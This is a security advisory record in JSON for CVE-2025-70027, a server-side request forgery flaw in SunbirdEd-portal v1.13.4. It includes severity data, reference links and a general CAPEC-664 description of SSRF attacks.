CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-70027"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-11T15:16:21Z",
    "severity": "HIGH"
  },
  "details": "An issue pertaining to CWE-918: Server-Side Request Forgery was discovered in Sunbird-Ed SunbirdEd-portal v1.13.4. This allows attackers to obtain sensitive information",
  "id": "GHSA-vvv2-p9hv-8634",
  "modified": "2026-03-11T15:31:52Z",
  "published": "2026-03-11T15:31:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-70027"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/zcxlighthouse/6eac455e9094ae313a1c39c25d520b3d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Sunbird-Ed"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Sunbird-Ed/SunbirdEd-portal"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

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